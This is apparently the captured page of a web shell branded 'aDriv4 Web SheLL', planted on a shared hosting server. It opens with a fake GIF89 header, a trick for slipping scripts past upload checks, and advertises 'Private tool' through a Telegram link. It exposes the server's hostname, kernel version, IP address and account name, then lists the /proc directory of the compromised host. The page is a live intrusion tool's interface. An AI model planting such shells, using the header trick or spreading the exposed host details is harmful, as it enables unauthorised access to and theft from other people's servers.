GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium219.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
 LiteSpeed
 66.29.141.203
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2024-11-26 04:11:38
.. dir - root/root 0755 2024-03-18 02:44:49
2491488 dir - istamihl/istamihl 0555 2025-05-11 09:30:29
3294005 dir - istamihl/istamihl 0555 2025-05-11 09:30:29
3310108 dir - istamihl/istamihl 0555 2025-05-11 09:30:50
3310109 dir - istamihl/istamihl 0555 2025-05-11 09:30:50
3310136 dir - istamihl/istamihl 0555 2025-05-11 09:30:50
3310159 dir - istamihl/istamihl 0555 2025-05-11 09:30:50
acpi dir - root/root 0555 2024-11-26 09:10:09
bus dir - root/root 0555 2024-11-26 09:22:29
driver dir - root/root 0555 2025-05-11 09:30:50
fs dir - root/root 0555 2024-11-26 09:22:29
irq dir - root/root 0555 2024-11-26 09:22:29
kcare dir - root/root 0555 2025-05-11 09:30:50
lve dir - root/root 0555 2025-05-11 09:30:30
net link - istamihl/istamihl 0555 2025-05-11 09:30:50
scsi dir - root/root 0555 2024-11-26 09:22:29
self link - istamihl/istamihl 0555 2025-05-11 09:30:29
sys dir - root/root 0555 2024-11-26 04:10:06
sysvipc dir - root/root 0555 2025-05-11 09:30:50
thread-self link - istamihl/istamihl 0555 2025-05-11 09:30:30
tty dir - root/root 0555 2025-05-11 09:30:50
buddyinfo 0 B root/root 0444 2025-05-11 09:30:50
cgroups 0 B root/root 0444 2025-05-11 09:30:50
cmdline text/plain 0 B root/root 0444 2025-05-11 09:30:33
consoles 0 B root/root 0444 2025-05-11 09:30:50
cpuinfo text/plain 0 B root/root 0444 2025-05-11 09:30:33
crypto 0 B root/root 0444 2025-05-11 09:30:50
devices 0 B root/root 0444 2025-05-11 09:30:50
diskstats 0 B root/root 0444 2025-05-11 09:30:48
dma 0 B root/root 0444 2025-05-11 09:30:50
execdomains 0 B root/root 0444 2025-05-11 09:30:50
fb 0 B root/root 0444 2025-05-11 09:30:50
filesystems text/plain 0 B root/root 0444 2025-05-11 09:29:57
interrupts 0 B root/root 0444 2025-05-11 09:30:50
iomem 0 B root/root 0444 2025-05-11 09:30:50
ioports 0 B root/root 0444 2025-05-11 09:30:50
kallsyms 0 B root/root 0444 2024-11-26 09:22:29
kcore 128 TB root/root 0400 2024-11-26 09:10:10
key-users 0 B root/root 0444 2025-05-11 09:30:50
keys 0 B root/root 0444 2025-05-11 09:30:50
kmsg 0 B root/root 0400 2025-05-11 09:30:50
kpagecgroup 0 B root/root 0400 2025-05-11 09:30:50
kpagecount 0 B root/root 0400 2025-05-11 09:30:50
kpageflags 0 B root/root 0400 2025-05-11 09:30:50
loadavg text/plain 0 B root/root 0444 2025-05-11 09:30:29
locks 0 B root/root 0444 2025-05-11 09:30:50
mdstat 0 B root/root 0444 2025-05-11 09:30:50
meminfo text/plain 0 B root/root 0444 2025-05-11 09:29:57
misc 0 B root/root 0444 2025-05-11 09:30:50
modules 0 B root/root 0444 2025-05-11 09:30:50
mounts text/plain 0 B istamihl/istamihl 0444 2025-05-11 09:30:50
mtrr 0 B root/root 0644 2024-11-26 09:22:29
pagetypeinfo 0 B root/root 0400 2025-05-11 09:30:50
partitions 0 B root/root 0444 2025-05-11 09:30:50
sched_debug 0 B root/root 0444 2025-05-11 09:30:50
schedstat 0 B root/root 0444 2025-05-11 09:30:50
slabinfo 0 B root/root 0400 2025-05-11 09:30:50
softirqs 0 B root/root 0444 2025-05-11 09:30:50
stat text/plain 0 B root/root 0444 2025-05-11 09:29:57
swaps 0 B root/root 0444 2024-11-26 04:10:06
sysrq-trigger 0 B root/root 0200 2024-11-26 09:22:29
timer_list 0 B root/root 0400 2025-05-11 09:30:50
uptime text/plain 0 B root/root 0444 2025-05-11 09:29:57
version text/plain 0 B root/root 0444 2025-05-11 09:30:50
vmallocinfo 0 B root/root 0400 2025-05-11 09:30:50
vmstat 0 B root/root 0444 2025-05-11 09:30:48
zoneinfo 0 B root/root 0444 2025-05-11 09:30:50
© aDriv4